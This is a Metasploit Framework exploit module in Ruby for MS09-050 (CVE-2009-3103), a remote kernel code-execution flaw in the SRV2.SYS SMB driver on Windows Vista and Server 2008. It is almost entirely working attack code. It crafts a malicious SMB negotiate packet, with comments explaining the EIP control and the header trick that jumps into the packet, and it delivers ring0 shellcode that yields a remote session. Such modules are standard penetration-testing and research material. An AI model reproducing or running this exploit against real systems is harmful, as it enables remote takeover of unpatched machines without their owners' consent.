## # $Id: ms09_050_smb2_negotiate_func_index.rb 8656 2010-02-26 13:42:17Z sf $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::SMB include Msf::Exploit::KernelMode def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference', 'Description' => %q{ This module exploits an out of bounds function table dereference in the SMB request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7 release candidates (not RTM), and Windows 2008 Server prior to R2. Windows Vista without SP1 does not seem affected by this flaw. }, 'Author' => [ 'laurent.gaffie[at]gmail.com', 'hdm', 'sf' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 8656 $', 'References' => [ [ 'MSB', 'MS09-050' ], [ 'CVE', '2009-3103' ], [ 'BID', '36299' ], [ 'OSVDB', '57799' ], [ 'URL', 'http://seclists.org/fulldisclosure/2009/Sep/0039.html' ], [ 'URL', 'http://www.microsoft.com/technet/security/Bulletin/MS09-050.mspx' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload' => { 'Space' => 1024, 'StackAdjustment' => -3500, 'DisableNops' => true, 'EncoderType' => Msf::Encoder::Type::Raw, 'ExtendedOptions' => { 'Stager' => 'stager_sysenter_hook', } }, 'Platform' => 'win', 'Targets' => [ [ 'Windows Vista SP1/SP2 and Server 2008 (x86)', { 'Platform' => 'win', 'Arch' => [ ARCH_X86 ], 'Ret' => 0xFFD00D09, # "POP ESI; RET" from the kernels HAL memory region ...no ASLR :) 'ReadAddress' => 0xFFDF0D04, # A readable address from kernel space (no nulls in address). 'ProcessIDHigh' => 0x0217, # srv2!SrvSnapShotScavengerTimer 'MagicIndex' => 0x3FFFFFB4, # (DWORD)( MagicIndex*4 + 0x130 ) == 0 } ], ], 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(445), OptInt.new( 'WAIT', [ true, "The number of seconds to wait for the attack to complete.", 180 ] ) ], self.class ) end # Not reliable enough for automation yet def autofilter false end def exploit print_status( "Connecting to the target (#{datastore['RHOST']}:#{datastore['RPORT']})..." ) connect # we use ReadAddress to avoid problems in srv2!SrvProcCompleteRequest # and srv2!SrvProcPartialCompleteCompoundedRequest dialects = [ [ target['ReadAddress'] ].pack("V") * 25, "SMB 2.002" ] data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('') data += [ 0x00000000 ].pack("V") * 37 # Must be NULL's data += [ 0xFFFFFFFF ].pack("V") # Used in srv2!SrvConsumeDataAndComplete2+0x34 (known stability issue with srv2!SrvConsumeDataAndComplete2+6b) data += [ 0xFFFFFFFF ].pack("V") # Used in srv2!SrvConsumeDataAndComplete2+0x34 data += [ 0x42424242 ].pack("V") * 7 # Unused data += [ target['MagicIndex'] ].pack("V") # An index to force an increment the SMB header value :) (srv2!SrvConsumeDataAndComplete2+0x7E) data += [ 0x41414141 ].pack("V") * 6 # Unused data += [ target.ret ].pack("V") # EIP Control thanks to srv2!SrvProcCompleteRequest+0xD2 data += payload.encoded # Our ring0 -> ring3 shellcode # We gain code execution by returning into the SMB packet, begining with its header. # The SMB packets Magic Header value is 0xFF534D42 which assembles to "CALL DWORD PTR [EBX+0x4D]; INC EDX" # This will cause an access violation if executed as we can never set EBX to a valid pointer. # To overcome this we force an increment of the header value (via MagicIndex), transforming it to 0x00544D42. # This assembles to "ADD BYTE PTR [EBP+ECX*2+0x42], DL" which is fine as ECX will be zero and EBP is a vaild pointer. # We patch the Signature1 value to be a jump forward into our shellcode. packet = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct packet['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE packet['Payload']['SMB'].v['Flags1'] = 0x18 packet['Payload']['SMB'].v['Flags2'] = 0xC853 packet['Payload']['SMB'].v['ProcessIDHigh'] = target['ProcessIDHigh'] packet['Payload']['SMB'].v['Signature1'] = 0x0158E900 # "JMP DWORD 0x15D" ; jump into our ring0 payload. packet['Payload']['SMB'].v['Signature2'] = 0x00000000 # ... packet['Payload']['SMB'].v['MultiplexID'] = rand( 0x10000 ) packet['Payload'].v['Payload'] = data packet = packet.to_s print_status( "Sending the exploit packet (#{packet.length} bytes)..." ) sock.put( packet ) wtime = datastore['WAIT'].to_i print_status( "Waiting up to #{wtime} second#{wtime == 1 ? '' : 's'} for exploit to trigger..." ) stime = Time.now.to_i poke_logins = %W{Guest Administrator} poke_logins.each do |login| begin sec = connect(false) sec.login(datastore['SMBName'], login, rand_text_alpha(rand(8)+1), rand_text_alpha(rand(8)+1)) rescue ::Exception => e sec.socket.close end end while( stime + wtime > Time.now.to_i ) select(nil, nil, nil, 0.25) break if session_created? end handler disconnect end end